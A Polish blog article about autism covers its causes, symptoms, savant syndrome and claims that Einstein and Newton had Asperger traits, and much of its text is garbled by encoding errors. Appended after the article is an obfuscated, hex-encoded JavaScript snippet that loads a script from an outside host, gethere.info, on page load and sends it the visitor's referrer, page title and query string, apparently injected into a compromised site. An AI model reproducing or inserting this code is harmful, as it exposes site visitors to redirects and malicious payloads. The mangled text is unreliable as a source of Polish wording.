Za szklanymi drzwiami…

opublikowane w Najnowsze Wpisy, Psychologia | 0

A�yjA� we wA�asnym, hermetycznym A�wiecie. MajA� swA?j wewnA�trzny, odmienny sposA?b postrzegania rzeczywistoA�ci. Z trudnoA�ciA� komunikujA� siA� z innymi, okazujA� emocje czy budujA� wiA�zi. Autyzm jest trzecim najczA�A�ciej spotykanym upoA�ledzeniem rozwojowym – czA�stszym niA? zespA?A� Down’a. Jednak wiA�kszoA�A� spoA�eczeA�stwa nadal nie rozumie jak autyzm oddziaA�uje na osoby chore. Brak rozumienia dla tej choroby wynikajA�cy z niewiedzy, a takA?e panujA�cych stereotypA?w sprawia, A?e ludzie postrzegajA� osoby autystyczne w sposA?b bardzo krA?tkowzroczny. Wydaje im siA�, A?e oni nic nie rozumiejA�, nie majA� uczuA�, A?yjA� zamkniA�ci w A�wiecie, do ktA?rego nie ma dostA�pu. Czy rzeczywiA�cie tak jest?

Przyczyny autyzmu nie sA� do koA�ca znane. Istnieje coraz wiA�cej teorii na ten temat. Pewne jest, A?e autyzm jest biologicznie uwarunkowanym zaburzeniem. IstniejA� geny powiA�zane z jego wystA�powaniem. Inne czA�sto wymieniane przyczyny to wiek ojca – powyA?ej 40 lat, zaburzeniaA� metaboliczne, urazy okoA�oporodowe, uszkodzenia centralnego ukA�adu nerwowego, toksoplazmozaA�(wrodzona), dzieciA�ce poraA?enie mA?zgowe, powaA?neA�infekcje czy intensywnaA�antybiotykoterapiaA�w okresie niemowlA�cym.

GA�A?wnA� cechA� autyzmu jest nieprawidA�owoA�A� w rozwoju interakcji spoA�ecznych, komunikacji i wystA�powanie powaA?nych ograniczeA� w zakresie aktywnoA�ci i zainteresowaA�. Osoby z autyzmem majA� problem z porozumiewaniem siA� z innymi,A�czA�sto nie rozpoznajA� emocji, nie potrafiA� odczytaA� wysyA�anych sygnaA�A?w. DuA?e trudnoA�A� sprawia im rozumienie mimiki twarzy, tonu gA�osu, gestA?w. MogA� odbieraA� wypowiedzi innych osA?b w sposA?b bardzo dosA�owny. Nie rozumiejA� A?artA?w, sarkazmu, powiedzeA� i zwrotA?w. Cechuje ich powtarzalnoA�A� zachowania. WykonujA� pewne specyficzne ruchy, takie jak machanie rekami czy koA�ysanie siA�. MogA� przejawiaA� zachowania agresywne lub autoagresywne. NiektA?re osoby z autyzmem nie mA?wiA� lub ich mowa jest bardzo ograniczona. Zazwyczaj sA� w stanie zrozumieA� czA�A�ciowo to, co do nich mA?wiA� inni.A�SA� teA? takie osoby, ktA?re majA� dobre umiejA�tnoA�ci jA�zykowe, lecz z trudem przychodzi im nawiA�zanie dialogu. CzA�sto wystA�puje tak zwana echolalia, czyliA�powtarzanie sA�A?w lub zwrotA?w wypowiedzianych przez inne osoby. Bywa, A?e osoby autystyczne trzymajA� siA� jednego tematu i mA?wiA� bez przerwy np. o swoich zainteresowaniach. Wiele dzieci autystycznych lepiej opanowuje pisanie niA? jA�zyk mA?wiony.

Znaczna czA�A�A� osA?b zA�autyzmem nie nawiA�zuje znajomoA�ci, nie przywiA�zuje siA� emocjonalnie, nie czuje zagroA?enia pA�ynA�cego z zewnA�trz, nie lubi teA? zmian. Osobom autystycznym trudno jest siA� odnaleA?A� w szkolnych realiach, majA� problemy w kontaktach z rA?wieA�nikami. Zdarza siA�, A?e sA� przez rA?wieA�nikA?w szykanowani i obraA?ani. Niska A�wiadomoA�A� spoA�eczna sprawia, A?e sA� odbierani jako osoby, ktA?re sA� niewychowane.

autyzm

A co oni sami mA?wiA� o sobie? Oto co napisaA�a na swA?j temat pewna dziewczynka z autyzmem:

a�zBycie austystA�, dla mnie, oznacza wiele rA?A?nych rzeczy, ale jednA� z najlepszych rzeczy jest to, A?e mogA� byA� tak szczA�A�liwa, A�zachwycona rzeczami, ktA?rych nikt inny nie rozumie. Jestem owiniA�ta swojA� radoA�ciA� do tego stopnia, A?e nie tylko nie ma znaczenia, A?e nikt ze mnA� jej nie dzieli, ale wrA�cz moA?e staA� siA� zaraA?liwa.A�To jest ta czA�A�A� autyzmu, ktA?rej nigdy nie mogA� wyjaA�niA�. To czA�A�A�, ktA?rej nigdy nie chcA� straciA�. Bez tej czA�A�ci nie warto byA�oby w ogA?le mieA� autyzmua�?.

autyzm

MA?wi siA�, A?e osoby autystyczne sA� wyjA�tkowe. PracujA�c z nimi na co dzieA� mogA� siA� z tym w peA�ni zgodziA�, widzA� tA� wyjA�tkowoA�A� w kaA?dym z nich. KaA?dy jest inny i kaA?dy ma swA?j niepowtarzalny urok. Na czym ta wyjA�tkowoA�A� polega?

UmysA� osoby autystycznej jest inny, ale niewielu z nas zdaje sobie sprawA�, jak genialny potrafi to byA� umysA�.A�Osoby autystyczne wyrA?A?niajA� siA� ponadprzeciA�tnymi zdolnoA�ciami. Tak jak Rain Man a�� postaA� fikcyjna, potrafiA� w pamiA�ci rozwiA�zywaA� skomplikowane zadania matematyczne (w kilka sekund podaA� wA�aA�ciwA� liczbA� rozsypanych na ziemi wykaA�aczek) oraz pamiA�taA� daty i miejsca wszystkich katastrof lotniczych, tak Kim Peek a�� postaA� rzeczywista, takie zdolnoA�ci posiadaA� w A?yciu. Amerykanin znaA� na pamiA�A� 8000 ksiA�A?ek (nieoficjalne A?rA?dA�a wskazujA� 12000), zapamiA�taA� nazwy wszystkich drA?g w USA i Kanadzie, wszystkie numery kierunkowe i kody pocztowe w USA oraz odpowiadajA�ce im sieci telewizyjne i telekomunikacyjne. PamiA�taA� wiA�kszoA�A� utworA?w muzyki powaA?nej z datA� i miejscem ich powstania oraz datA� urodzenia i A�mierci twA?rcA?w. PotrafiA� rA?wnieA? rA?wnoczeA�nie jednym okiem czytaA� jednA� stronA�, a drugim drugA� – nawet gdy ksiA�A?ka byA�a a�zdo gA?ry nogamia�?.

Jak pisze w swoim artykule Renata StefaA�ska a�� Klar, na liA�cie osA?b przejawiajA�cych objawy autyzmu w wersji aspergerowskiej (lA?ejsza postaA� autyzmu) znajdujA� siA� Albert Eistein i Isaac Newton.A�Analizowane przez Barona a�� Cohena��a i Jamesa��a cechy osobowoA�ci dwA?ch nieA?yjA�cych fizykA?w speA�niajA� ten wzorzec, przy czym Einstein wydawaA� siA� byA� obciA�A?ony lA?ejszA� formA� autyzmu, natomiast Newton dotkniA�ty byA� klasycznym przypadkiem syndromu Aspergera. CharakteryzowaA�a go maA�omA?wnoA�A�, pochA�oniecie pracA� do tego stopnia, A?e zapominaA� jadaA�, ale rA?wnieA? duA?e problemy z kontaktem i obcowaniem z otoczeniem. Nielicznych przyjaciA?A� Newton traktowaA� oschle i nieprzyjemnie siA� wobec nich zachowywaA�. Einstein natomiast w dzieciA�stwie byA� milczA�cym samotnikiem, co wiA�cej, do siA?dmego roku A?ycia cierpiaA� na echolaliA�. a�zPrzejawiane przez Einsteina oznaki zespoA�u Aspergera obejmujA� bezgraniczne i z wielkA� pasjA� oddawanie siA� problemom, ktA?rymi siA� zajmowaA�, A�atwe i szybkie zakochiwanie siA� oraz toczenie walki o sprawiedliwoA�A�, ktA?re to cechy, jak twierdzi Baron-Cohen, idealnie odpowiadajA� syndromowi objawA?w w zespole Aspergera, podobnie zresztA� jak i nieumiejA�tnoA�A� prowadzenia zwykA�ych rozmA?w na banalne tematy lub po prostu o niczyma�?.

Wiele osA?b autystycznych posiada szczegA?lne zdolnoA�ci, np. fenomenalnA� pamiA�A� czy zdolnoA�ci artystyczne (muzyczne, plastyczne). SA� wA�rA?d nich takA?e sawanci, czyli jak potocznie siA� o nich mA?wi – upoA�ledzeni geniusze.A�CzA�A�sto sA�yA�szymy, A?e zespA?A� sawanta to szczeA�gA?lny dar. DziA�siaj wiadomo, A?e nie naleA?y rozA�paA�tryA�waA�A� zespoA�u sawanta w kateA�goA�rii choA�roby czy patoA�loA�gii, nie podA�lega on zatem leczeA�niu. MoA?na powieA�dzieA�, A?e jest to szczeA�gA?lny stan umyA�sA�u, chaA�rakA�teA�ryA�zuA�jA�cy siA� wspA?A�A�wyA�stA�A�poA�waA�niem defiA�cyA�tA?w poznawA�czych z genialA�nymi umieA�jA�tA�noA�A�ciami. PozorA�nie zespA?A� sawanta wydaje siA� byA� paraA�dokA�sem, wybryA�kiem natury. Osoby z zespoA�em sawanta posiaA�dajA� ponadA�przeA�ciA�tne zdolA�noA�A�ci, np. dziA�ki doskoA�naA�A�ej pamiA�ci mechaA�niczA�nej mogA� zapaA�miA�A�taA� raz przeA�czyA�tanA� inforA�maA�cjA� do koA�caA�A?ycia.

Praca z osobami autystycznymi nie naleA?y do A�atwych. Trudno jest bowiem nawiA�zaA� kontakt z takA� osobA�. Potrzeba ogromnej cierpliwoA�ci i wytrwaA�oA�ci, aby dostaA� siA� do A�wiata osoby autystycznej. Jednak poszerzajA�c wiedzA� na temat autyzmu staramy siA� do niego dotrzeA� stopniowo uchylajA�c szklane drzwia��

Amelka - dzien autyzmu


 

 var _0xb322=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}